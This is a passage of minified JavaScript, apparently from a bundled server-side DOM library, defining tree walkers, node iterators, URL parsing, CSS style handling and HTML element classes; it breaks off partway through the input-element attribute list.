HT2=RW(),JT2=A9A(),V9K=FV1(),oV1=QMA(),OT2=cV1(),P9K=P0();function oh6(A){V9K.call(this),this.nodeType=HT2.DOCUMENT_FRAGMENT_NODE,this.ownerDocument=A}oh6.prototype=Object.create(V9K.prototype,{nodeName:{value:"#document-fragment"},nodeValue:{get:function(){return null},set:function(){}},textContent:Object.getOwnPropertyDescriptor(oV1.prototype,"textContent"),innerText:Object.getOwnPropertyDescriptor(oV1.prototype,"innerText"),querySelector:{value:function(A){var K=this.querySelectorAll(A);return K.length?K[0]:null}},querySelectorAll:{value:function(A){var K=Object.create(this);K.isHTML=!0,K.getElementsByTagName=oV1.prototype.getElementsByTagName,K.nextElement=Object.getOwnPropertyDescriptor(oV1.prototype,"firstElementChild").get;var q=OT2(A,K);return q.item?q:new JT2(q)}},clone:{value:function(){return new oh6(this.ownerDocument)}},isEqual:{value:function(K){return!0}},innerHTML:{get:function(){return this.serialize()},set:P9K.nyi},outerHTML:{get:function(){return this.serialize()},set:P9K.nyi}})});var th6=v((rtH,T9K)=>{T9K.exports=sh6;var XT2=RW(),N9K=vUA();function sh6(A,K,q){N9K.call(this),this.nodeType=XT2.PROCESSING_INSTRUCTION_NODE,this.ownerDocument=A,this.target=K,this._data=q}var CUA={get:function(){return this._data},set:function(A){if(A===null||A===void 0)A="";else A=String(A);if(this._data=A,this.rooted)this.ownerDocument.mutateValue(this)}};sh6.prototype=Object.create(N9K.prototype,{nodeName:{get:function(){return this.target}},nodeValue:CUA,textContent:CUA,innerText:CUA,data:{get:CUA.get,set:function(A){CUA.set.call(this,A===null?"":String(A))}},clone:{value:function(){return new sh6(this.ownerDocument,this.target,this._data)}},isEqual:{value:function(K){return this.target===K.target&&this._data===K._data}}})});var LUA=v((otH,v9K)=>{var eh6={FILTER_ACCEPT:1,FILTER_REJECT:2,FILTER_SKIP:3,SHOW_ALL:4294967295,SHOW_ELEMENT:1,SHOW_ATTRIBUTE:2,SHOW_TEXT:4,SHOW_CDATA_SECTION:8,SHOW_ENTITY_REFERENCE:16,SHOW_ENTITY:32,SHOW_PROCESSING_INSTRUCTION:64,SHOW_COMMENT:128,SHOW_DOCUMENT:256,SHOW_DOCUMENT_TYPE:512,SHOW_DOCUMENT_FRAGMENT:1024,SHOW_NOTATION:2048};v9K.exports=eh6.constructor=eh6.prototype=eh6});var Kb6=v((stH,k9K)=>{var atH=k9K.exports={nextSkippingChildren:$T2,nextAncestorSibling:Ab6,next:_T2,previous:GT2,deepLastChild:E9K};function $T2(A,K){if(A===K)return null;if(A.nextSibling!==null)return A.nextSibling;return Ab6(A,K)}function Ab6(A,K){for(A=A.parentNode;A!==null;A=A.parentNode){if(A===K)return null;if(A.nextSibling!==null)return A.nextSibling}return null}function _T2(A,K){var q=A.firstChild;if(q!==null)return q;if(A===K)return null;if(q=A.nextSibling,q!==null)return q;return Ab6(A,K)}function E9K(A){while(A.lastChild)A=A.lastChild;return A}function GT2(A,K){var q=A.previousSibling;if(q!==null)return E9K(q);if(q=A.parentNode,q===K)return null;return q}});var h9K=v((ttH,S9K)=>{S9K.exports=I9K;var ZT2=RW(),yW=LUA(),C9K=Kb6(),y9K=P0(),qb6={first:"firstChild",last:"lastChild",next:"firstChild",previous:"lastChild"},Yb6={first:"nextSibling",last:"previousSibling",next:"nextSibling",previous:"previousSibling"};function L9K(A,K){var q,Y,z,w,H;Y=A._currentNode[qb6[K]];while(Y!==null){if(w=A._internalFilter(Y),w===yW.FILTER_ACCEPT)return A._currentNode=Y,Y;if(w===yW.FILTER_SKIP){if(q=Y[qb6[K]],q!==null){Y=q;continue}}while(Y!==null){if(H=Y[Yb6[K]],H!==null){Y=H;break}if(z=Y.parentNode,z===null||z===A.root||z===A._currentNode)return null;else Y=z}}return null}function R9K(A,K){var q,Y,z;if(q=A._currentNode,q===A.root)return null;while(!0){z=q[Yb6[K]];while(z!==null){if(q=z,Y=A._internalFilter(q),Y===yW.FILTER_ACCEPT)return A._currentNode=q,q;if(z=q[qb6[K]],Y===yW.FILTER_REJECT||z===null)z=q[Yb6[K]]}if(q=q.parentNode,q===null||q===A.root)return null;if(A._internalFilter(q)===yW.FILTER_ACCEPT)return null}}function I9K(A,K,q){if(!A||!A.nodeType)y9K.NotSupportedError();this._root=A,this._whatToShow=Number(K)||0,this._filter=q||null,this._active=!1,this._currentNode=A}Object.defineProperties(I9K.prototype,{root:{get:function(){return this._root}},whatToShow:{get:function(){return this._whatToShow}},filter:{get:function(){return this._filter}},currentNode:{get:function(){return this._currentNode},set:function(K){if(!(K instanceof ZT2))throw TypeError("Not a Node");this._currentNode=K}},_internalFilter:{value:function(K){var q,Y;if(this._active)y9K.InvalidStateError();if(!(1<<K.nodeType-1&this._whatToShow))return yW.FILTER_SKIP;if(Y=this._filter,Y===null)q=yW.FILTER_ACCEPT;else{this._active=!0;try{if(typeof Y==="function")q=Y(K);else q=Y.acceptNode(K)}finally{this._active=!1}}return+q}},parentNode:{value:function(){var K=this._currentNode;while(K!==this.root){if(K=K.parentNode,K===null)return null;if(this._internalFilter(K)===yW.FILTER_ACCEPT)return this._currentNode=K,K}return null}},firstChild:{value:function(){return L9K(this,"first")}},lastChild:{value:function(){return L9K(this,"last")}},previousSibling:{value:function(){return R9K(this,"previous")}},nextSibling:{value:function(){return R9K(this,"next")}},previousNode:{value:function(){var K,q,Y,z;K=this._currentNode;while(K!==this._root){for(Y=K.previousSibling;Y;Y=K.previousSibling){if(K=Y,q=this._internalFilter(K),q===yW.FILTER_REJECT)continue;for(z=K.lastChild;z;z=K.lastChild)if(K=z,q=this._internalFilter(K),q===yW.FILTER_REJECT)break;if(q===yW.FILTER_ACCEPT)return this._currentNode=K,K}if(K===this.root||K.parentNode===null)return null;if(K=K.parentNode,this._internalFilter(K)===yW.FILTER_ACCEPT)return this._currentNode=K,K}return null}},nextNode:{value:function(){var K,q,Y,z;K=this._currentNode,q=yW.FILTER_ACCEPT;A:while(!0){for(Y=K.firstChild;Y;Y=K.firstChild)if(K=Y,q=this._internalFilter(K),q===yW.FILTER_ACCEPT)return this._currentNode=K,K;else if(q===yW.FILTER_REJECT)break;for(z=C9K.nextSkippingChildren(K,this.root);z;z=C9K.nextSkippingChildren(K,this.root))if(K=z,q=this._internalFilter(K),q===yW.FILTER_ACCEPT)return this._currentNode=K,K;else if(q===yW.FILTER_SKIP)continue A;return null}}},toString:{value:function(){return"[object TreeWalker]"}}})});var g9K=v((etH,m9K)=>{m9K.exports=B9K;var zb6=LUA(),wb6=Kb6(),u9K=P0();function WT2(A,K,q){if(q)return wb6.next(A,K);else{if(A===K)return null;return wb6.previous(A,null)}}function b9K(A,K){for(;K;K=K.parentNode)if(A===K)return!0;return!1}function x9K(A,K){var q,Y;q=A._referenceNode,Y=A._pointerBeforeReferenceNode;while(!0){if(Y===K)Y=!Y;else if(q=WT2(q,A._root,K),q===null)return null;var z=A._internalFilter(q);if(z===zb6.FILTER_ACCEPT)break}return A._referenceNode=q,A._pointerBeforeReferenceNode=Y,q}function B9K(A,K,q){if(!A||!A.nodeType)u9K.NotSupportedError();this._root=A,this._referenceNode=A,this._pointerBeforeReferenceNode=!0,this._whatToShow=Number(K)||0,this._filter=q||null,this._active=!1,A.doc._attachNodeIterator(this)}Object.defineProperties(B9K.prototype,{root:{get:function(){return this._root}},referenceNode:{get:function(){return this._referenceNode}},pointerBeforeReferenceNode:{get:function(){return this._pointerBeforeReferenceNode}},whatToShow:{get:function(){return this._whatToShow}},filter:{get:function(){return this._filter}},_internalFilter:{value:function(K){var q,Y;if(this._active)u9K.InvalidStateError();if(!(1<<K.nodeType-1&this._whatToShow))return zb6.FILTER_SKIP;if(Y=this._filter,Y===null)q=zb6.FILTER_ACCEPT;else{this._active=!0;try{if(typeof Y==="function")q=Y(K);else q=Y.acceptNode(K)}finally{this._active=!1}}return+q}},_preremove:{value:function(K){if(b9K(K,this._root))return;if(!b9K(K,this._referenceNode))return;if(this._pointerBeforeReferenceNode){var q=K;while(q.lastChild)q=q.lastChild;if(q=wb6.next(q,this.root),q){this._referenceNode=q;return}this._pointerBeforeReferenceNode=!1}if(K.previousSibling===null)this._referenceNode=K.parentNode;else{this._referenceNode=K.previousSibling;var Y;for(Y=this._referenceNode.lastChild;Y;Y=this._referenceNode.lastChild)this._referenceNode=Y}}},nextNode:{value:function(){return x9K(this,!0)}},previousNode:{value:function(){return x9K(this,!1)}},detach:{value:function(){}},toString:{value:function(){return"[object NodeIterator]"}}})});var aV1=v((AeH,F9K)=>{F9K.exports=IW;function IW(A){if(!A)return Object.create(IW.prototype);this.url=A.replace(/^[ \t\n\r\f]+|[ \t\n\r\f]+$/g,"");var K=IW.pattern.exec(this.url);if(K){if(K[2])this.scheme=K[2];if(K[4]){var q=K[4].match(IW.userinfoPattern);if(q)this.username=q[1],this.password=q[3],K[4]=K[4].substring(q[0].length);if(K[4].match(IW.portPattern)){var Y=K[4].lastIndexOf(":");this.host=K[4].substring(0,Y),this.port=K[4].substring(Y+1)}else this.host=K[4]}if(K[5])this.path=K[5];if(K[6])this.query=K[7];if(K[8])this.fragment=K[9]}}IW.pattern=/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/;IW.userinfoPattern=/^([^@:]*)(:([^@]*))?@/;IW.portPattern=/:\d+$/;IW.authorityPattern=/^[^:\/?#]+:\/\//;IW.hierarchyPattern=/^[^:\/?#]+:\//;IW.percentEncode=function(K){var q=K.charCodeAt(0);if(q<256)return"%"+q.toString(16);else throw Error("can't percent-encode codepoints > 255 yet")};IW.prototype={constructor:IW,isAbsolute:function(){return!!this.scheme},isAuthorityBased:function(){return IW.authorityPattern.test(this.url)},isHierarchical:function(){return IW.hierarchyPattern.test(this.url)},toString:function(){var A="";if(this.scheme!==void 0)A+=this.scheme+":";if(this.isAbsolute()){if(A+="//",this.username||this.password){if(A+=this.username||"",this.password)A+=":"+this.password;A+="@"}if(this.host)A+=this.host}if(this.port!==void 0)A+=":"+this.port;if(this.path!==void 0)A+=this.path;if(this.query!==void 0)A+="?"+this.query;if(this.fragment!==void 0)A+="#"+this.fragment;return A},resolve:function(A){var K=this,q=new IW(A),Y=new IW;if(q.scheme!==void 0)Y.scheme=q.scheme,Y.username=q.username,Y.password=q.password,Y.host=q.host,Y.port=q.port,Y.path=w(q.path),Y.query=q.query;else if(Y.scheme=K.scheme,q.host!==void 0)Y.username=q.username,Y.password=q.password,Y.host=q.host,Y.port=q.port,Y.path=w(q.path),Y.query=q.query;else if(Y.username=K.username,Y.password=K.password,Y.host=K.host,Y.port=K.port,!q.path)if(Y.path=K.path,q.query!==void 0)Y.query=q.query;else Y.query=K.query;else{if(q.path.charAt(0)==="/")Y.path=w(q.path);else Y.path=z(K.path,q.path),Y.path=w(Y.path);Y.query=q.query}return Y.fragment=q.fragment,Y.toString();function z(H,J){if(K.host!==void 0&&!K.path)return"/"+J;var O=H.lastIndexOf("/");if(O===-1)return J;else return H.substring(0,O+1)+J}function w(H){if(!H)return H;var J="";while(H.length>0){if(H==="."||H===".."){H="";break}var O=H.substring(0,2),X=H.substring(0,3),$=H.substring(0,4);if(X==="../")H=H.substring(3);else if(O==="./")H=H.substring(2);else if(X==="/./")H="/"+H.substring(3);else if(O==="/."&&H.length===2)H="/";else if($==="/../"||X==="/.."&&H.length===3)H="/"+H.substring(4),J=J.replace(/\/?[^\/]*$/,"");else{var _=H.match(/(\/?([^\/]*))/)[0];J+=_,H=H.substring(_.length)}}return J}}}});var p9K=v((KeH,U9K)=>{U9K.exports=Hb6;var Q9K=bMA();function Hb6(A,K){Q9K.call(this,A,K)}Hb6.prototype=Object.create(Q9K.prototype,{constructor:{value:Hb6}})});var Jb6=v((qeH,d9K)=>{d9K.exports={Event:bMA(),UIEvent:Gh6(),MouseEvent:Wh6(),CustomEvent:p9K()}});var n9K=v((l9K)=>{Object.defineProperty(l9K,"__esModule",{value:!0});l9K.hyphenate=l9K.parse=void 0;function DT2(A){let K=[],q=0,Y=0,z=0,w=0,H=0,J=null;while(q<A.length)switch(A.charCodeAt(q++)){case 40:Y++;break;case 41:Y--;break;case 39:if(z===0)z=39;else if(z===39&&A.charCodeAt(q-1)!==92)z=0;break;case 34:if(z===0)z=34;else if(z===34&&A.charCodeAt(q-1)!==92)z=0;break;case 58:if(!J&&Y===0&&z===0)J=c9K(A.substring(H,q-1).trim()),w=q;break;case 59:if(J&&w>0&&Y===0&&z===0){let X=A.substring(w,q-1).trim();K.push(J,X),H=q,w=0,J=null}break}if(J&&w){let O=A.slice(w).trim();K.push(J,O)}return K}l9K.parse=DT2;function c9K(A){return A.replace(/[a-z][A-Z]/g,(K)=>{return K.charAt(0)+"-"+K.charAt(1)}).toLowerCase()}l9K.hyphenate=c9K});var sV1=v((zeH,t9K)=>{var{parse:MT2}=n9K();t9K.exports=function(A){let K=new s9K(A);return new Proxy(K,{get:function(Y,z){return z in Y?Y[z]:Y.getPropertyValue(r9K(z))},has:function(Y,z){return!0},set:function(Y,z,w){if(z in Y)Y[z]=w;else Y.setProperty(r9K(z),w??void 0);return!0}})};function r9K(A){return A.replace(/([a-z])([A-Z])/g,"$1-$2").toLowerCase()}function s9K(A){this._element=A}var o9K="!important";function a9K(A){let K={property:{},priority:{}};if(!A)return K;let q=MT2(A);if(q.length<2)return K;for(let Y=0;Y<q.length;Y+=2){let z=q[Y],w=q[Y+1];if(w.endsWith(o9K))K.priority[z]="important",w=w.slice(0,-o9K.length).trim();K.property[z]=w}return K}var UMA={};s9K.prototype=Object.create(Object.prototype,{_parsed:{get:function(){if(!this._parsedStyles||this.cssText!==this._lastParsedText){var A=this.cssText;this._parsedStyles=a9K(A),this._lastParsedText=A,delete this._names}return this._parsedStyles}},_serialize:{value:function(){var A=this._parsed,K="";for(var q in A.property){if(K)K+=" ";if(K+=q+": "+A.property[q],A.priority[q])K+=" !"+A.priority[q];K+=";"}this.cssText=K,this._lastParsedText=K,delete this._names}},cssText:{get:function(){return this._element.getAttribute("style")},set:function(A){this._element.setAttribute("style",A)}},length:{get:function(){if(!this._names)this._names=Object.getOwnPropertyNames(this._parsed.property);return this._names.length}},item:{value:function(A){if(!this._names)this._names=Object.getOwnPropertyNames(this._parsed.property);return this._names[A]}},getPropertyValue:{value:function(A){return A=A.toLowerCase(),this._parsed.property[A]||""}},getPropertyPriority:{value:function(A){return A=A.toLowerCase(),this._parsed.priority[A]||""}},setProperty:{value:function(A,K,q){if(A=A.toLowerCase(),K===null||K===void 0)K="";if(q===null||q===void 0)q="";if(K!==UMA)K=""+K;if(K=K.trim(),K===""){this.removeProperty(A);return}if(q!==""&&q!==UMA&&!/^important$/i.test(q))return;var Y=this._parsed;if(K===UMA){if(!Y.property[A])return;if(q!=="")Y.priority[A]="important";else delete Y.priority[A]}else{if(K.indexOf(";")!==-1)return;var z=a9K(A+":"+K);if(Object.getOwnPropertyNames(z.property).length===0)return;if(Object.getOwnPropertyNames(z.priority).length!==0)return;for(var w in z.property)if(Y.property[w]=z.property[w],q===UMA)continue;else if(q!=="")Y.priority[w]="important";else if(Y.priority[w])delete Y.priority[w]}this._serialize()}},setPropertyValue:{value:function(A,K){return this.setProperty(A,K,UMA)}},setPropertyPriority:{value:function(A,K){return this.setProperty(A,UMA,K)}},removeProperty:{value:function(A){A=A.toLowerCase();var K=this._parsed;if(A in K.property)delete K.property[A],delete K.priority[A],this._serialize()}}})});var Ob6=v((weH,e9K)=>{var oG=aV1();e9K.exports=RUA;function RUA(){}RUA.prototype=Object.create(Object.prototype,{_url:{get:function(){return new oG(this.href)}},protocol:{get:function(){var A=this._url;if(A&&A.scheme)return A.scheme+":";else return":"},set:function(A){var K=this.href,q=new oG(K);if(q.isAbsolute()){if(A=A.replace(/:+$/,""),A=A.replace(/[^-+\.a-zA-Z0-9]/g,oG.percentEncode),A.length>0)q.scheme=A,K=q.toString()}this.href=K}},host:{get:function(){var A=this._url;if(A.isAbsolute()&&A.isAuthorityBased())return A.host+(A.port?":"+A.port:"");else return""},set:function(A){var K=this.href,q=new oG(K);if(q.isAbsolute()&&q.isAuthorityBased()){if(A=A.replace(/[^-+\._~!$&'()*,;:=a-zA-Z0-9]/g,oG.percentEncode),A.length>0)q.host=A,delete q.port,K=q.toString()}this.href=K}},hostname:{get:function(){var A=this._url;if(A.isAbsolute()&&A.isAuthorityBased())return A.host;else return""},set:function(A){var K=this.href,q=new oG(K);if(q.isAbsolute()&&q.isAuthorityBased()){if(A=A.replace(/^\/+/,""),A=A.replace(/[^-+\._~!$&'()*,;:=a-zA-Z0-9]/g,oG.percentEncode),A.length>0)q.host=A,K=q.toString()}this.href=K}},port:{get:function(){var A=this._url;if(A.isAbsolute()&&A.isAuthorityBased()&&A.port!==void 0)return A.port;else return""},set:function(A){var K=this.href,q=new oG(K);if(q.isAbsolute()&&q.isAuthorityBased()){if(A=""+A,A=A.replace(/[^0-9].*$/,""),A=A.replace(/^0+/,""),A.length===0)A="0";if(parseInt(A,10)<=65535)q.port=A,K=q.toString()}this.href=K}},pathname:{get:function(){var A=this._url;if(A.isAbsolute()&&A.isHierarchical())return A.path;else return""},set:function(A){var K=this.href,q=new oG(K);if(q.isAbsolute()&&q.isHierarchical()){if(A.charAt(0)!=="/")A="/"+A;A=A.replace(/[^-+\._~!$&'()*,;:=@\/a-zA-Z0-9]/g,oG.percentEncode),q.path=A,K=q.toString()}this.href=K}},search:{get:function(){var A=this._url;if(A.isAbsolute()&&A.isHierarchical()&&A.query!==void 0)return"?"+A.query;else return""},set:function(A){var K=this.href,q=new oG(K);if(q.isAbsolute()&&q.isHierarchical()){if(A.charAt(0)==="?")A=A.substring(1);A=A.replace(/[^-+\._~!$&'()*,;:=@\/?a-zA-Z0-9]/g,oG.percentEncode),q.query=A,K=q.toString()}this.href=K}},hash:{get:function(){var A=this._url;if(A==null||A.fragment==null||A.fragment==="")return"";else return"#"+A.fragment},set:function(A){var K=this.href,q=new oG(K);if(A.charAt(0)==="#")A=A.substring(1);A=A.replace(/[^-+\._~!$&'()*,;:=@\/?a-zA-Z0-9]/g,oG.percentEncode),q.fragment=A,K=q.toString(),this.href=K}},username:{get:function(){var A=this._url;return A.username||""},set:function(A){var K=this.href,q=new oG(K);if(q.isAbsolute())A=A.replace(/[\x00-\x1F\x7F-\uFFFF "#<>?`\/@\\:]/g,oG.percentEncode),q.username=A,K=q.toString();this.href=K}},password:{get:function(){var A=this._url;return A.password||""},set:function(A){var K=this.href,q=new oG(K);if(q.isAbsolute()){if(A==="")q.password=null;else A=A.replace(/[\x00-\x1F\x7F-\uFFFF "#<>?`\/@\\]/g,oG.percentEncode),q.password=A;K=q.toString()}this.href=K}},origin:{get:function(){var A=this._url;if(A==null)return"";var K=function(q){var Y=[A.scheme,A.host,+A.port||q];return Y[0]+"://"+Y[1]+(Y[2]===q?"":":"+Y[2])};switch(A.scheme){case"ftp":return K(21);case"gopher":return K(70);case"http":case"ws":return K(80);case"https":case"wss":return K(443);default:return A.scheme+"://"}}}});RUA._inherit=function(A){Object.getOwnPropertyNames(RUA.prototype).forEach(function(K){if(K==="constructor"||K==="href")return;var q=Object.getOwnPropertyDescriptor(RUA.prototype,K);Object.defineProperty(A,K,q)})}});var Xb6=v((HeH,qYK)=>{var AYK=yh6(),PT2=BV1().isApiWritable;qYK.exports=function(A,K,q,Y){var z=A.ctor;if(z){var w=A.props||{};if(A.attributes)for(var H in A.attributes){var J=A.attributes[H];if(typeof J!=="object"||Array.isArray(J))J={type:J};if(!J.name)J.name=H.toLowerCase();w[H]=AYK.property(J)}if(w.constructor={value:z,writable:PT2},z.prototype=Object.create((A.superclass||K).prototype,w),A.events)fT2(z,A.events);q[A.name]=z}else z=K;return(A.tags||A.tag&&[A.tag]||[]).forEach(function(O){Y[O]=z}),z};function KYK(A,K,q,Y){this.body=A,this.document=K,this.form=q,this.element=Y}KYK.prototype.build=function(){return()=>{}};function VT2(A,K,q,Y){var z=A.ownerDocument||Object.create(null),w=A.form||Object.create(null);A[K]=new KYK(Y,z,w,A).build()}function fT2(A,K){var q=A.prototype;K.forEach(function(Y){Object.defineProperty(q,"on"+Y,{get:function(){return this._getEventHandler(Y)},set:function(z){this._setEventHandler(Y,z)}}),AYK.registerChangeHandler(A,"on"+Y,VT2)})}});var eV1=v((kT2)=>{var $b6=RW(),YYK=QMA(),NT2=sV1(),vv=P0(),zYK=Ob6(),TT2=Xb6(),ud=kT2.elements={},yUA=Object.create(null);kT2.createElement=function(A,K,q){var Y=yUA[K]||ET2;return new Y(A,K,q)};function H7(A){return TT2(A,vK,ud,yUA)}function V0(A){return{get:function(){var K=this._getattr(A);if(K===null)return"";var q=this.doc._resolve(K);return q===null?K:q},set:function(K){this._setattr(A,K)}}}function tV1(A){return{get:function(){var K=this._getattr(A);if(K===null)return null;if(K.toLowerCase()==="use-credentials")return"use-credentials";return"anonymous"},set:function(K){if(K===null||K===void 0)this.removeAttribute(A);else this._setattr(A,K)}}}var pMA={type:["","no-referrer","no-referrer-when-downgrade","same-origin","origin","strict-origin","origin-when-cross-origin","strict-origin-when-cross-origin","unsafe-url"],missing:""},vT2={A:!0,LINK:!0,BUTTON:!0,INPUT:!0,SELECT:!0,TEXTAREA:!0,COMMAND:!0},iS=function(A,K,q){vK.call(this,A,K,q),this._form=null},vK=kT2.HTMLElement=H7({superclass:YYK,name:"HTMLElement",ctor:function(K,q,Y){YYK.call(this,K,q,vv.NAMESPACE.HTML,Y)},props:{dangerouslySetInnerHTML:{set:function(A){this._innerHTML=A}},innerHTML:{get:function(){return this.serialize()},set:function(A){var K=this.ownerDocument.implementation.mozHTMLParser(this.ownerDocument._address,this);K.parse(A===null?"":String(A),!0);var q=this instanceof yUA.template?this.content:this;while(q.hasChildNodes())q.removeChild(q.firstChild);q.appendChild(K._asDocumentFragment())}},style:{get:function(){if(!this._style)this._style=new NT2(this);return this._style},set:function(A){if(A===null||A===void 0)A="";this._setattr("style",String(A))}},blur:{value:function(){}},focus:{value:function(){}},forceSpellCheck:{value:function(){}},click:{value:function(){if(this._click_in_progress)return;this._click_in_progress=!0;try{if(this._pre_click_activation_steps)this._pre_click_activation_steps();var A=this.ownerDocument.createEvent("MouseEvent");A.initMouseEvent("click",!0,!0,this.ownerDocument.defaultView,1,0,0,0,0,!1,!1,!1,!1,0,null);var K=this.dispatchEvent(A);if(K){if(this._post_click_activation_steps)this._post_click_activation_steps(A)}else if(this._cancelled_activation_steps)this._cancelled_activation_steps()}finally{this._click_in_progress=!1}}},submit:{value:vv.nyi}},attributes:{title:String,lang:String,dir:{type:["ltr","rtl","auto"],missing:""},draggable:{type:["true","false"],treatNullAsEmptyString:!0},spellcheck:{type:["true","false"],missing:""},enterKeyHint:{type:["enter","done","go","next","previous","search","send"],missing:""},autoCapitalize:{type:["off","on","none","sentences","words","characters"],missing:""},autoFocus:Boolean,accessKey:String,nonce:String,hidden:Boolean,translate:{type:["no","yes"],missing:""},tabIndex:{type:"long",default:function(){if(this.tagName in vT2||this.contentEditable)return 0;else return-1}}},events:["abort","canplay","canplaythrough","change","click","contextmenu","cuechange","dblclick","drag","dragend","dragenter","dragleave","dragover","dragstart","drop","durationchange","emptied","ended","input","invalid","keydown","keypress","keyup","loadeddata","loadedmetadata","loadstart","mousedown","mousemove","mouseout","mouseover","mouseup","mousewheel","pause","play","playing","progress","ratechange","readystatechange","reset","seeked","seeking","select","show","stalled","submit","suspend","timeupdate","volumechange","waiting","blur","error","focus","load","scroll"]}),ET2=H7({name:"HTMLUnknownElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)}}),nS={form:{get:function(){return this._form}}};H7({tag:"a",name:"HTMLAnchorElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},props:{_post_click_activation_steps:{value:function(A){if(this.href)this.ownerDocument.defaultView.location=this.href}}},attributes:{href:V0,ping:String,download:String,target:String,rel:String,media:String,hreflang:String,type:String,referrerPolicy:pMA,coords:String,charset:String,name:String,rev:String,shape:String}});zYK._inherit(yUA.a.prototype);H7({tag:"area",name:"HTMLAreaElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{alt:String,target:String,download:String,rel:String,media:String,href:V0,hreflang:String,type:String,shape:String,coords:String,ping:String,referrerPolicy:pMA,noHref:Boolean}});zYK._inherit(yUA.area.prototype);H7({tag:"br",name:"HTMLBRElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{clear:String}});H7({tag:"base",name:"HTMLBaseElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{target:String}});H7({tag:"body",name:"HTMLBodyElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},events:["afterprint","beforeprint","beforeunload","blur","error","focus","hashchange","load","message","offline","online","pagehide","pageshow","popstate","resize","scroll","storage","unload"],attributes:{text:{type:String,treatNullAsEmptyString:!0},link:{type:String,treatNullAsEmptyString:!0},vLink:{type:String,treatNullAsEmptyString:!0},aLink:{type:String,treatNullAsEmptyString:!0},bgColor:{type:String,treatNullAsEmptyString:!0},background:String}});H7({tag:"button",name:"HTMLButtonElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:nS,attributes:{name:String,value:String,disabled:Boolean,autofocus:Boolean,type:{type:["submit","reset","button","menu"],missing:"submit"},formTarget:String,formAction:V0,formNoValidate:Boolean,formMethod:{type:["get","post","dialog"],invalid:"get",missing:""},formEnctype:{type:["application/x-www-form-urlencoded","multipart/form-data","text/plain"],invalid:"application/x-www-form-urlencoded",missing:""}}});H7({tag:"dl",name:"HTMLDListElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{compact:Boolean}});H7({tag:"data",name:"HTMLDataElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{value:String}});H7({tag:"datalist",name:"HTMLDataListElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)}});H7({tag:"details",name:"HTMLDetailsElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{open:Boolean}});H7({tag:"div",name:"HTMLDivElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{align:String}});H7({tag:"embed",name:"HTMLEmbedElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{src:V0,type:String,width:String,height:String,align:String,name:String}});H7({tag:"fieldset",name:"HTMLFieldSetElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:nS,attributes:{disabled:Boolean,name:String}});H7({tag:"form",name:"HTMLFormElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{action:String,autocomplete:{type:["on","off"],missing:"on"},name:String,acceptCharset:{name:"accept-charset"},target:String,noValidate:Boolean,method:{type:["get","post","dialog"],invalid:"get",missing:"get"},enctype:{type:["application/x-www-form-urlencoded","multipart/form-data","text/plain"],invalid:"application/x-www-form-urlencoded",missing:"application/x-www-form-urlencoded"},encoding:{name:"enctype",type:["application/x-www-form-urlencoded","multipart/form-data","text/plain"],invalid:"application/x-www-form-urlencoded",missing:"application/x-www-form-urlencoded"}}});H7({tag:"hr",name:"HTMLHRElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{align:String,color:String,noShade:Boolean,size:String,width:String}});H7({tag:"head",name:"HTMLHeadElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)}});H7({tags:["h1","h2","h3","h4","h5","h6"],name:"HTMLHeadingElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{align:String}});H7({tag:"html",name:"HTMLHtmlElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{xmlns:V0,version:String}});H7({tag:"iframe",name:"HTMLIFrameElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{src:V0,srcdoc:String,name:String,width:String,height:String,seamless:Boolean,allow:Boolean,allowFullscreen:Boolean,allowUserMedia:Boolean,allowPaymentRequest:Boolean,referrerPolicy:pMA,loading:{type:["eager","lazy"],treatNullAsEmptyString:!0},align:String,scrolling:String,frameBorder:String,longDesc:V0,marginHeight:{type:String,treatNullAsEmptyString:!0},marginWidth:{type:String,treatNullAsEmptyString:!0}}});H7({tag:"img",name:"HTMLImageElement",ctor:function(K,q,Y){vK.call(this,K,q,Y)},attributes:{alt:String,src:V0,srcset:String,crossOrigin:tV1,useMap:String,isMap:Boolean,sizes:String,height:{type:"unsigned long",default:0},width:{type:"unsigned long",default:0},referrerPolicy:pMA,loading:{type:["eager","lazy"],missing:""},name:String,lowsrc:V0,align:String,hspace:{type:"unsigned long",default:0},vspace:{type:"unsigned long",default:0},longDesc:V0,border:{type:String,treatNullAsEmptyString:!0}}});H7({tag:"input",name:"HTMLInputElement",ctor:function(K,q,Y){iS.call(this,K,q,Y)},props:{form:nS.form,_post_click_activation_steps:{value:function(A){if(this.type==="checkbox")this.checked=!this.checked;else if(this.type==="radio"){var K=this.form.getElementsByName(this.name);for(var q=K.length-1;q>=0;q--){var Y=K[q];Y.checked=Y===this}}}}},attributes:{name:String,disabled:Boolean,autofocus:Boolean,accept:String,alt:String,max:String,min:String,pattern:String,placeholder:String,step:String,dirName:String,defaultValue:{name:"value"},multiple:Boolean,required:Boolean,readOnly:Boolean,checked:Boolean,value:String,src:V0,defaultChecked:{name:"checked",type:Boolean},size:{type:"unsigned long",default:20,min:1,setmin:1},width:{type:"unsigned long",min:0,setmin:0,default:0},height:{type:"unsigned long",min:0,setmin:0,default:0},minLength:{type:"unsigned long",min:0,setmin:0,default:-1},maxLength:{type:"unsigned 